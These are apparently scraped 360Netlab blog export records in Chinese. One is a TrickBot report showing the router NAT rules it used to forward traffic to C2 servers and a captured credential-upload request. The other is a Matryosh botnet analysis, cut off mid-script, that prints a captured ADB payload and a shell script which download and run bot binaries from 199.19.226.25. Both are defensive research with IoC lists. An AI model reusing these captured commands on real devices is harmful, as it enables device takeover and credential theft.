TrickBot流量转发规则样例:
/ip firewall nat remove [find where to-addresses=192.187.121.58]
/ip firewall nat remove [find where to-addresses=185.14.31.222]
/ip firewall nat remove [find where to-addresses=217.12.203.191]
/ip firewall nat remove [find where to-addresses=45.89.125.253]
/ip firewall nat add chain=dstnat proto=tcp dst-port=449 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=dstnat proto=tcp dst-port=443 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}
/ip firewall nat add chain=srcnat action=masquerade src-address={Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}
iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}
sudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}
感染规模
我们观察到TrickBot一共感染了10万多台机器(根据TrickBot http请求中的Client ID计算)。
活跃Bot IP趋势如下：
被感染机器主要分布在美国和欧洲，其Bot源IP地区分布如下：
Bot源IP ASN分布如下：
1353 AS6799 OTEnet S.A.
885 AS5384 Emirates Telecommunications Corporation
796 AS3352 Telefonica De Espana
607 AS8708 RCS & RDS
577 AS3269 Telecom Italia
515 AS25019 Saudi Telecom Company JSC
498 AS7922 COMCAST-7922
470 AS19084 COLOUP
469 AS1267 Wind Tre S.p.A.
442 AS16276 OVH SAS
437 AS30722 Vodafone Italia S.p.A.
340 AS3329 Vodafone-panafon Hellenic Telecommunications Company SA
323 AS3320 Deutsche Telekom AG
305 AS9009 M247 Ltd
293 AS60068 Datacamp Limited
284 AS12479 Orange Espagne SA
281 AS209 CENTURYLINK-US-LEGACY-QWEST
280 AS39891 Saudi Telecom Company JSC
271 AS7018 ATT-INTERNET4
257 AS1241 Forthnet
243 AS12874 Fastweb
234 AS25472 Wind Hellas Telecommunications SA
214 AS577 BACOM
206 AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
204 AS12430 Vodafone Spain
196 AS43766 MTC KSA
194 AS6830 Liberty Global B.V.
179 AS16509 AMAZON-02
176 AS15169 GOOGLE
170 AS9050 Telekom Romania Communication S.A
162 AS20115 CHARTER-20115
160 AS701 UUNET
157 AS9329 Sri Lanka Telecom Internet
155 AS8781 Ooredoo Q.S.C.
149 AS15802 Emirates Integrated Telecommunications Company PJSC
144 AS14061 DIGITALOCEAN-ASN
141 AS3209 Vodafone GmbH
140 AS16232 Telecom Italia
134 AS206067 Three
133 AS53667 PONYNET
129 AS15704 Xtra Telecom S.A.
123 AS22773 ASN-CXA-ALL-CCI-22773-RDC
120 AS4808 China Unicom Beijing Province Network
118 AS18001 Dialog Axiata PLC.
115 AS203507 Avira Holding GmbH & Co. KG
98 AS10796 TWC-10796-MIDWEST
94 AS5607 Sky UK Limited
89 AS11427 TWC-11427-TEXAS
89 AS62744 QUINTEX
87 AS20001 TWC-20001-PACWE
窃取数据统计
我们观察到Trickbot从受害者机器窃取了一共15万左右的登录凭据，主要包括网站、Windows远程登录、VNC、电子邮箱等十几种应用的登录凭据。以及来自浏览器form表单保存的5万多个Email地址和1千多张银行卡信息。其中登录凭据涉及7万多个网站。其窃取的用户数据涉及的协议种类以及来源分布如下：
部分TrickBot窃取的登录凭证对应的SLD，详细的SLD列表见文末。
Trickbot窃取数据上传CC请求示例:
POST /mor132/L-PC_W617601.*/81/ HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=---------EPJILQEWDEXUTOBV
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; wbxapp 1.0.0; wbx 1.0.0)
Host: {}
Content-Length: 883
Cache-Control: no-cache
Cookie: SESSID=da122263a2bd
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name="data"
https://login.gsis.gr|user*|*372
https://login.yahoo.com|zan*@yahoo.gr|*
https://login.yahoo.com|x.xri*@yahoo.gr|*
https://ape.dapeep.gr|x.xri*[email protected]|sola*
https://login.gsis.gr|*|nikos*
https://login.gsis.gr|USER*|*
https://ape.dapeep.gr|x.*@gmail.com|*
https://www1.gsis.gr|user*|*
-----------EPJILQEWDEXUTOBV
Content-Disposition: form-data; name="source"
firefox passwords
-----------EPJILQEWDEXUTOBV--
联系我们
如果需要，对应的机构或者国家cert可以联系我们获取相关数据，以便处理相关事件。联系方式： twitter 。
IoC
CC
46.28.69.129 AS15626|ITL_LLC
185.14.31.222 AS21100|ITL_LLC
209.126.119.88 AS30083|HEG_US_Inc.
87.76.21.20 AS202521|Nexcess.net_L.L.C.
128.30.52.39 AS3|Massachusetts_Institute_of_Technology
45.89.125.253 AS174|Cogent_Communications
51.89.125.117 AS16276|OVH_SAS
217.12.218.109 AS21100|ITL_LLC
64.44.51.70 AS20278|Nexeon_Technologies,_Inc.
185.244.150.26 AS60117|Host_Sailor_Ltd.
91.194.84.115 AS24961|myLoc_managed_IT_AG
192.99.211.47 AS16276|OVH_SAS
37.46.132.106 AS29182|JSC_The_First
84.22.116.81 AS196752|Tilaa_B.V.
185.222.201.63 ASNone;
51.38.147.101 AS16276|OVH_SAS
195.123.240.147 AS204957|ITL-Bulgaria_Ltd.
46.28.69.153 AS15626|ITL_LLC
46.28.69.81 AS15626|ITL_LLC
185.64.105.36 AS61272|Informacines_sistemos_ir_technologijos,_UAB
185.64.105.32 AS61272|Informacines_sistemos_ir_technologijos,_UAB
79.141.160.187 AS202015|HZ_Hosting_Ltd
85.25.100.224 AS8972|Host_Europe_GmbH
192.187.121.58 AS33387|DataShack,_LC
170.130.55.84 AS62904|Eonix_Corporation
31.14.40.68 AS19624|Data_Room,_Inc
5.182.211.218 AS64425|SKB_Enterprise_B.V.
217.12.203.191 AS59729|ITL_LLC
82.146.41.221 AS29182|JSC_The_First
69.64.34.255 AS30083|HEG_US_Inc.
148.251.27.246 AS24940|Hetzner_Online_GmbH
198.12.71.126 AS36352|ColoCrossing
92.63.98.252 AS29182|JSC_The_First
148.251.27.244 AS24940|Hetzner_Online_GmbH
46.28.68.169 AS15626|ITL_LLC
195.123.213.249 AS50979|ITL_LLC
附录
* TrickBot窃取的登录凭证对应的SLD
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 版权\n版权声明：本文为360Netlab原创，依据[CC BY-SA 4.0 ](https://creativecommons.org/licenses/by-sa/4.0/)许可证进行授权，转载请附上出处链接及本声明。\n\n# 背景\n2021年01月08日，360Netlab首次观察到[**TrickBot**](https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document)通过IP 45.89.125.253在互联网上尝试入侵MikroTik Router设备，构建其一级转发代理C2，用来和二级真实C2通信。\n\n\n我们知道TrickBot网络基础设施是由多级C2的组成，第一级代理C2一般是被黑的主机或IoT设备，这样可以很好的隐藏背后真实的C2主机。我们蜜罐由于智能自动化交互，具有高度的迷惑性，被TrickBot master认为在我们蜜罐主机上成功部署一级代理C2。这样，我们几乎有了幕后操纵者的视角，通过蜜罐收集到了被感染主机的连接请求和背后大量的数据。\n\nTrickbot是一个臭名昭著的网银木马，自2016年被曝光后一直处于非常活跃的状态。经过多年的开发&运营，TrickBot已经变成了一个功能复杂的模块化恶意软件，它可以窃取多种登录凭证，浏览器表单信息，加密货币钱包、窃取邮件信息，收集主机信息甚至还会投递勒索软件，其背后的团伙甚至和APT组织Lazarus合作，定制开发了APT攻击平台TrickBot Anchor。\n\nTrickBot的活跃，让它成为了安全厂商的重点打击对象，[**2020年微软和美国执法机构开展的联合打击行动**](https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/)曾重创TrickBot僵尸网络。但是TrickBot并没有走向消亡，此后它借助Emotet强大的传播能力快速恢复。从目前我们的数据来看，它已基本上完成了基础网络设施的重建。\n\n\n\n# TrickBot代理构建过程\n我们观察到TrickBot通过SSH弱口令登录成功后，在目标机器上建立流量转发规则将指定端口(`443,449`等)的流量转发到第二级CC的方式构建TrickBot一级代理。TrickBot寻找的用来一级代理的目标机器是MikroTik Router，这一点主要通过TrickBot创建流量转发规则的[firewall](https://help.mikrotik.com/docs/display/ROS/NAT)命令(例如:`/ip firewall nat remove [find where to-addresses=45.89.125.253]`)判断。 其构建代理的主要过程如下:\n\n\nTrickBot流量转发规则样例:\n```\n/ip firewall nat remove [find where to-addresses=192.187.121.58]\n/ip firewall nat remove [find where to-addresses=185.14.31.222]\n/ip firewall nat remove [find where to-addresses=217.12.203.191]\n/ip firewall nat remove [find where to-addresses=45.89.125.253]\n\n/ip firewall nat add chain=dstnat proto=tcp dst-port=449 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}\n/ip firewall nat add chain=dstnat proto=tcp dst-port=443 to-port=80 action=dst-nat to-addresses=45.89.125.253 dst-address={Victim IP}\n/ip firewall nat add chain=srcnat action=masquerade src-address={Victim IP}\niptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}\nsudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 449 --to-destination 45.89.125.253:80 -d {Victim IP}\niptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}\nsudo iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 443 --to-destination 45.89.125.253:80 -d {Victim IP}\n```\n\n# 感染规模\n我们观察到TrickBot一共感染了`10万`多台机器(根据TrickBot http请求中的Client ID计算)。\n\n活跃Bot IP趋势如下：\n\n\n\n被感染机器主要分布在美国和欧洲，其Bot源IP地区分布如下：\n\n\nBot源IP ASN分布如下：\n```\n1353\tAS6799 OTEnet S.A.\n885\tAS5384 Emirates Telecommunications Corporation\n796\tAS3352 Telefonica De Espana\n607\tAS8708 RCS & RDS\n577\tAS3269 Telecom Italia\n515\tAS25019 Saudi Telecom Company JSC\n498\tAS7922 COMCAST-7922\n470\tAS19084 COLOUP\n469\tAS1267 Wind Tre S.p.A.\n442\tAS16276 OVH SAS\n437\tAS30722 Vodafone Italia S.p.A.\n340\tAS3329 Vodafone-panafon Hellenic Telecommunications Company SA\n323\tAS3320 Deutsche Telekom AG\n305\tAS9009 M247 Ltd\n293\tAS60068 Datacamp Limited\n284\tAS12479 Orange Espagne SA\n281\tAS209 CENTURYLINK-US-LEGACY-QWEST\n280\tAS39891 Saudi Telecom Company JSC\n271\tAS7018 ATT-INTERNET4\n257\tAS1241 Forthnet\n243\tAS12874 Fastweb\n234\tAS25472 Wind Hellas Telecommunications SA\n214\tAS577 BACOM\n206\tAS8075 MICROSOFT-CORP-MSN-AS-BLOCK\n204\tAS12430 Vodafone Spain\n196\tAS43766 MTC KSA\n194\tAS6830 Liberty Global B.V.\n179\tAS16509 AMAZON-02\n176\tAS15169 GOOGLE\n170\tAS9050 Telekom Romania Communication S.A\n162\tAS20115 CHARTER-20115\n160\tAS701 UUNET\n157\tAS9329 Sri Lanka Telecom Internet\n155\tAS8781 Ooredoo Q.S.C.\n149\tAS15802 Emirates Integrated Telecommunications Company PJSC\n144\tAS14061 DIGITALOCEAN-ASN\n141\tAS3209 Vodafone GmbH\n140\tAS16232 Telecom Italia\n134\tAS206067 Three\n133\tAS53667 PONYNET\n129\tAS15704 Xtra Telecom S.A.\n123\tAS22773 ASN-CXA-ALL-CCI-22773-RDC\n120\tAS4808 China Unicom Beijing Province Network\n118\tAS18001 Dialog Axiata PLC.\n115\tAS203507 Avira Holding GmbH & Co. KG\n98\tAS10796 TWC-10796-MIDWEST\n94\tAS5607 Sky UK Limited\n89\tAS11427 TWC-11427-TEXAS\n89\tAS62744 QUINTEX\n87\tAS20001 TWC-20001-PACWE\n```\n# 窃取数据统计\n我们观察到Trickbot从受害者机器窃取了一共15万左右的登录凭据，主要包括网站、Windows远程登录、VNC、电子邮箱等十几种应用的登录凭据。以及来自浏览器form表单保存的5万多个Email地址和1千多张银行卡信息。其中登录凭据涉及7万多个网站。其窃取的用户数据涉及的协议种类以及来源分布如下：\n<a href=\"__GHOST_URL__/content/images/2021/03/Snip20210301_19b.png\"><img src=\"__GHOST_URL__/content/images/2021/03/Snip20210301_19.png\" class=\"kg-image\"/></a>\n\n部分TrickBot窃取的登录凭证对应的SLD，详细的SLD列表见文末。\n\n\nTrickbot窃取数据上传CC请求示例:\n\n```\nPOST /mor132/L-PC_W617601.*/81/ HTTP/1.1\nAccept: */*\nContent-Type: multipart/form-data; boundary=---------EPJILQEWDEXUTOBV\nConnection: Close\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; wbxapp 1.0.0; wbx 1.0.0)\nHost: {}\nContent-Length: 883\nCache-Control: no-cache\nCookie: SESSID=da122263a2bd\n-----------EPJILQEWDEXUTOBV\nContent-Disposition: form-data; name=\"data\"\nhttps://login.gsis.gr|user*|*372\nhttps://login.yahoo.com|zan*@yahoo.gr|*\nhttps://login.yahoo.com|x.xri*@yahoo.gr|*\nhttps://ape.dapeep.gr|x.xri*[email protected]|sola*\nhttps://login.gsis.gr|*|nikos*\nhttps://login.gsis.gr|USER*|*\nhttps://ape.dapeep.gr|x.*@gmail.com|*\nhttps://www1.gsis.gr|user*|*\n-----------EPJILQEWDEXUTOBV\nContent-Disposition: form-data; name=\"source\"\nfirefox passwords\n-----------EPJILQEWDEXUTOBV--\n```\n\n# 联系我们\n如果需要，对应的机构或者国家cert可以联系我们获取相关数据，以便处理相关事件。联系方式： [twitter](https://twitter.com/360Netlab) 。\n\n# IoC\n### CC\n```\n46.28.69.129\tAS15626|ITL_LLC\n185.14.31.222\tAS21100|ITL_LLC\n209.126.119.88\tAS30083|HEG_US_Inc.\n87.76.21.20\tAS202521|Nexcess.net_L.L.C.\n128.30.52.39\tAS3|Massachusetts_Institute_of_Technology\n45.89.125.253\tAS174|Cogent_Communications\n51.89.125.117\tAS16276|OVH_SAS\n217.12.218.109\tAS21100|ITL_LLC\n64.44.51.70\tAS20278|Nexeon_Technologies,_Inc.\n185.244.150.26\tAS60117|Host_Sailor_Ltd.\n91.194.84.115\tAS24961|myLoc_managed_IT_AG\n192.99.211.47\tAS16276|OVH_SAS\n37.46.132.106\tAS29182|JSC_The_First\n84.22.116.81\tAS196752|Tilaa_B.V.\n185.222.201.63\tASNone;\n51.38.147.101\tAS16276|OVH_SAS\n195.123.240.147\tAS204957|ITL-Bulgaria_Ltd.\n46.28.69.153\tAS15626|ITL_LLC\n46.28.69.81\tAS15626|ITL_LLC\n185.64.105.36\tAS61272|Informacines_sistemos_ir_technologijos,_UAB\n185.64.105.32\tAS61272|Informacines_sistemos_ir_technologijos,_UAB\n79.141.160.187\tAS202015|HZ_Hosting_Ltd\n85.25.100.224\tAS8972|Host_Europe_GmbH\n192.187.121.58\tAS33387|DataShack,_LC\n170.130.55.84\tAS62904|Eonix_Corporation\n31.14.40.68\tAS19624|Data_Room,_Inc\n5.182.211.218\tAS64425|SKB_Enterprise_B.V.\n217.12.203.191\tAS59729|ITL_LLC\n82.146.41.221\tAS29182|JSC_The_First\n69.64.34.255\tAS30083|HEG_US_Inc.\n148.251.27.246\tAS24940|Hetzner_Online_GmbH\n198.12.71.126\tAS36352|ColoCrossing\n92.63.98.252\tAS29182|JSC_The_First\n148.251.27.244\tAS24940|Hetzner_Online_GmbH\n46.28.68.169\tAS15626|ITL_LLC\n195.123.213.249\tAS50979|ITL_LLC\n```\n\n# 附录\n- [TrickBot窃取的登录凭证对应的SLD](https://data.netlab.360.com/feeds/share/trickbot.sld.txt)\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 600ff107d0d9b7000712a826 |
post | null | 2021-01-27T12:33:06.000Z | 63873b9a8b1c1e0007f52f9b | matryosh-botnet-is-spreading | 0 | 2021-02-02T04:05:45.000Z | public | published | null | 2021-02-02T03:12:55.000Z | 新威胁：能云端化配置C2的套娃（Matryosh）僵尸网络正在传播 | <!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明：本文为Netlab原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a> 许可证进行授权，转载请附上出处链接及本声明。</p>
<h2 id="">背景</h2>
<p>2021年1月25日，360网络安全研究院的BotMon系统将一个可疑的ELF文件标注成Mirai，但网络流量却不符合Mirai的特征。这个异常引起了我们的注意，经分析，我们确定这是一个复用了Mirai框架，通过ADB接口传播，针对安卓类设备，主要目的为DDoS攻击的新型僵尸网络。它重新设计了加密算法，通过<code>DNS TXT</code>的方式从远程主机获取<code>TOR C2</code>以及和C2通信所必须的TOR代理。</p>
<p>这个僵尸网络实现的加密算法以及获取C2的过程都是一层层嵌套，像俄罗斯套娃一样，基于这个原因，我们将它命名为<code>Matryosh</code>。</p>
<p>每天都有脚本小子拿着Mirai的源码进行魔改，想着从DDoS黑产赚上一笔。Matryosh会是这样的作品吗？随着分析的深入，更多细节浮出水面，根据C2指令的相似性，我们推测它是当下非常活跃的Moobot团伙的又一个尝试。</p>
<p>Matryosh没有集成扫描，漏洞利用的模块，主要功能为DDoS攻击，支持<code> tcpraw, icmpecho, udpplain</code> 3种方法，基本流程如下图所示：</p>
<img src="__GHOST_URL__/content/images/2021/01/taowa_network.png" width="860px" />
<h2 id="">传播</h2>
<p>目前Matryosh通过adb传播，捕获的payload如下所示，主要功能为从远程主机<code>199.19.226.25</code>下载并执行脚本。</p>
<pre><code>CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.
</code></pre>
<p>下载得到的脚本如下所示，主要功能为从远程主机下载执行多个CPU架构的Matryosh样本。</p>
<pre><code>#!/bin/sh
n="i586 mips mipsel armv5l armv7l"
http_server="199.19.226.25"
for a in $n
do
curl http://$http_server/nXejnFjen/$a > asFxgte
chmod 777 asFxgte
./asFxgte android
done
for a in $n
do
rm $a
done
</code></pre>
<h2 id="">样本分析</h2>
<p>Matryosh支持x86，arm，mips等cpu架构，本文选取x86样本为分析对象，样本信息如下：</p>
<blockquote>
<p>MD5:c96e333af964649bbc0060f436c64758</p>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped</p>
<p>Lib:uclibc</p>
<p>Packer:None</p>
</blockquote>
<p>样本功能比较简单，运行后会重命名进程，并输出<code>stdin: pipe failed</code>字串以迷惑用户；随后解密得到远程主机名，用到<code>DNS TXT</code>请求以获取TOR C2以及TOR代理；接着和TOR代理建立连接，最终通过代理和TOR C2进行通信，等待执行C2下发的指令。</p>
<h3 id="">解密敏感资源</h3>
<p>打开IDA可以看出，Matryosh将敏感的资源信息都加密存储，以防止相关功能被安全研究员一眼定位。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_ida.jpg" alt="taowa_ida" loading="lazy"></p>
<p>密文为1个header和N个body组成，结构如下所示：</p>
<pre><code>struct header {
u8 msg_len;
u8 key;
u8 body_cnt;
}
struct body {
u8 key;
u8 body_len;
char *body_buf;
}
</code></pre>
<p>以密文<code>06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00</code>为例，解密过程如下所示：</p>
<pre><code>header.msglen=0x06 --->有效密文长底为6
header.key=0x29
header.body_cnt=0x2 --->有2个body
body1.key=0xdc
body1.len=0x10 --->body1长度为0x10字节
body1解密
header.key XOR body1.key得到body1的秘钥为0xF5
密文： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
解密后：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00 |tcpraw.%s %d....|
body2.key=0xfb
body2.len=0x6 --->body2长度为0x6字节
body2解密
header.key xor body2.key得到body2的密钥为
密文：D2 11 04 00 00 00
解密后： 00 c3 d6 d2 d2 d2 |.ÃÖÒÒÒ|
有效密文长度为6字节，所以就取body1的前6字节即可，得到明文tcpraw。
</code></pre>
<p>通过<a href="#decrypt_str">附录</a>的解密脚本，解密出的资源列表如下，可以看出其中有攻击方法，远程主机等信息。</p>
<table>
<thead>
<tr>
<th>tcpraw</th>
<th>icmpecho</th>
<th>udpplain</th>
</tr>
</thead>
<tbody>
<tr>
<td>/proc/</td>
<td>/cmdline</td>
<td>stdin: pipe failed</td>
</tr>
<tr>
<td>hosts.hiddenservice.xyz</td>
<td>.hiddenservice.xyz</td>
<td>onion.hiddenservice.xyz</td>
</tr>
</tbody>
</table>
<h3 id="">进程重命名</h3>
<p>重命名成大小写相间的长度为14的进程名以迷惑用户</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_proc.jpg" alt="taowa_proc" loading="lazy"></p>
<p>实际效果如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_name.JPG" alt="taowa_name" loading="lazy"></p>
<h3 id="tortorc2">获取TOR代理以及TOR C2</h3>
<p>Bot获取代理以及C2的过程可以分成4步。</p>
<ol>
<li>
<p>解密得到<code>远程主机A(hosts.hiddenservice.xyz)</code>，得到其DNS TXT解析结果：</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_step1.jpg" alt="taowa_step1" loading="lazy"></p>
<pre><code>hosts.hiddenservice.xyz. 1751 IN TXT "iekfgakxorbfjcefbiyj"
</code></pre>
</li>
<li>
<p>解密得到<code>远程主机后缀(.hiddenservice.xyz)</code>，然后按下面表格中的组合规则从第一步获取的字串(<code>iekfgakxorbfjcefbiyj</code>)中提取字符，以下表中的第一行(14,9)为例，提取字串中下标为14和9的字符，合并得到一个远程主机前缀<code>er</code>。</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>14,9</td>
<td>er</td>
</tr>
<tr>
<td>19,10</td>
<td>jb</td>
</tr>
<tr>
<td>3,4</td>
<td>fg</td>
</tr>
<tr>
<td>6,2</td>
<td>kk</td>
</tr>
<tr>
<td>8,13</td>
<td>oc</td>
</tr>
<tr>
<td>12,18</td>
<td>jy</td>
</tr>
<tr>
<td>11,1</td>
<td>fe</td>
</tr>
<tr>
<td>7,15</td>
<td>xf</td>
</tr>
<tr>
<td>5,17</td>
<td>ai</td>
</tr>
<tr>
<td>16,0</td>
<td>bi</td>
</tr>
</tbody>
</table>
<p>最终把上面获取的远程主机的前缀和后缀拼接得到远程主机B列表，如下所示</p>
<table>
<thead>
<tr>
<th>jb.hiddenservice.xyz</th>
<th>er.hiddenservice.xyz</th>
</tr>
</thead>
<tbody>
<tr>
<td>fg.hiddenservice.xyz</td>
<td>kk.hiddenservice.xyz</td>
</tr>
<tr>
<td>oc.hiddenservice.xyz</td>
<td>jy.hiddenservice.xyz</td>
</tr>
<tr>
<td>fe.hiddenservice.xyz</td>
<td>xf.hiddenservice.xyz</td>
</tr>
<tr>
<td>ai.hiddenservice.xyz</td>
<td>bi.hiddenservice.xyz</td>
</tr>
</tbody>
</table>
<p>下图实际的网络流量，验证了我们的分析。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_step2.jpg" alt="taowa_step2" loading="lazy"></p>
</li>
<li>
<p>向第2步得到的<code>远程主机B</code>请求的DNS TXT记录，得到TOR代理的地址，最多10个。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_step3.jpg" alt="taowa_step3" loading="lazy"></p>
<pre><code>oc.hiddenservice.xyz. 1799 IN TXT "198.245.53.58:9095"
fe.hiddenservice.xyz. 1799 IN TXT "198.27.82.186:9050"
</code></pre>
</li>
<li>
<p>解密得到<code>远程主机C（onion.hiddenservice.xyz）</code>，向其请求DNS TXT记录，得到TOR C2地址。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_step4.jpg" alt="taowa_step4" loading="lazy"></p>
<pre><code>onion.hiddenservice.xyz. 1799 IN TXT "4qhemgahbjg4j6pt.onion"
</code></pre>
</li>
</ol>
<p>至此C2通信所需要的基础信息都已获得，Bot开始C2通信。</p>
<h3 id="c2">C2通信</h3>
<p>和C2通信，Bot首先通过以下代码片段，随机选择一个TOR代理并建立连接，</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa.proxy.jpg" alt="taowa.proxy" loading="lazy"></p>
<p>随后向TOR代理发送想要建立通信的TOR C2，PORT信息，其中端口为硬编码的31337。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_c2.jpg" alt="taowa_c2" loading="lazy"></p>
<p>如果TOR代理返回<code>05 00 00 01 00 00 00 00 00 00</code>时，说明C2连接已经成功，可以开始后续通信了。下图实际的网络流量可以很清楚的反映上述过程。</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_pcap.jpg" alt="taowa_pcap" loading="lazy"></p>
<p>发送完上线包后Bot开始等待C2下发指令。指令包的第一个字节指定了指令的类型。</p>
<ul>
<li>
<p>指令码：<code>0x84</code>表示心跳</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_beat.jpg" alt="taowa_beat" loading="lazy"></p>
</li>
<li>
<p>指令码：<code>0x55</code>表示上传Bot的分组信息</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_reg.jpg" alt="taowa_reg" loading="lazy"></p>
</li>
<li>
<p>指令码：<code>非0x55</code>，<code>非0x84</code>，DDoS攻击</p>
<p><img src="__GHOST_URL__/content/images/2021/01/taowa_atk.jpg" alt="taowa_atk" loading="lazy"></p>
</li>
</ul>
<h2 id="moobot">和Moobot团伙的关系</h2>
<p>Moobot团伙是当前比较活跃黑产团伙，一直在加密算法，网络通信方面进行创新。我们曾在2020年4月27日曝光过该团伙新开发的一个僵尸网络<a href="__GHOST_URL__/the-leethozer-botnet/">LeetHozer</a>，对比Matryosh，俩者的相似之处体现在以下3方面：</p>
<ol>
<li>
<p>使用TOR C2这种模式</p>
</li>
<li>
<p>C2端口（31337）&攻击方法名一样</p>
</li>
<li>
<p>C2指令格式高度相似</p>
</li>
</ol>
<p>基于这些考量，我们推测Matryosh是该团伙的新作品。</p>
<h2 id="">结论</h2>
<p>Matryosh的加密设计有一定的新意，但依然落入了Mirai单字节XOR的窠臼，这也是它很容易被杀软标记为Mirai的原因；网络通信层面的创新说明了其作者想实现一个从云端下发配置的机制以保护C2，<code>C2配置云端化</code>在一定程度上对抗了静态或简单模拟器的IOC自动化抽取。但将所有远程主机放在同一个SLD下的行为略显可笑，不过不可否认整体的网络设计非常灵活，若搭配上DOH/DOT机制，再将云端主机的角色/内容做合理地分配&加密将会给安全研究人员带来更多的挑战。</p>
<h2 id="ioc">IOC</h2>
<p>Sample MD5</p>
<pre><code>ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66
SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6
</code></pre>
<p>URL</p>
<pre><code>kk.hiddenservice.xyz
er.hiddenservice.xyz
jy.hiddenservice.xyz
fe.hiddenservice.xyz
xf.hiddenservice.xyz
oc.hiddenservice.xyz
jb.hiddenservice.xyz
ai.hiddenservice.xyz
bi.hiddenservice.xyz
fg.hiddenservice.xyz
hosts.hiddenservice.xyz
onion.hiddenservice.xyz
</code></pre>
<p>C2</p>
<pre><code>4qhemgahbjg4j6pt.onion：31337
</code></pre>
<p>Proxy Ip</p>
<pre><code>46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095
</code></pre>
<p>Downloader</p>
<pre><code>i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}
</code></pre>
<h2 id="aiddecrypt_stridaa"><a id="decrypt_str">附录（IDA解密脚本）</a></h2>
<pre><code>import idc
import idaapi
import idautils
# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
round = 0
while round < 2:
addr = idc.PrevHead(addr)
if GetMnem(addr) == "mov" and "offset" in GetOpnd(addr, 1):
return GetOperandValue(addr, 1)
if GetMnem(addr) == "push" and "offset" in GetOpnd(addr, 0):
return GetOperandValue(addr, 0)
round += 1
return 0
def get_string(addr):
out = []
while True:
if Byte(addr) != 0:
out.append(Byte(addr))
else:
break
addr += 1
return out
def descrypt(enc_lst):
msg_length = enc_lst[0]
xor_key1 = enc_lst[1]
group = enc_lst[2]
msg_lst = enc_lst[3:]
des_msg = []
for i in range(0, group):
xor_key2 = msg_lst[0]
group_len = msg_lst[1]
key = xor_key1 ^ xor_key2
for j in range(2, group_len + 2):
des_msg.append(chr(msg_lst[j] ^ key))
if len(des_msg) > msg_length:
des_msg = des_msg[0:msg_length]
break
msg_lst = msg_lst[group_len + 2:]
print("".join(des_msg))
descrypt_func_ea = 0x080493E0
refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
refsto_lst.append(ref)
ens_str_addr = []
for ea in refsto_lst:
addr = find_function_arg(ea)
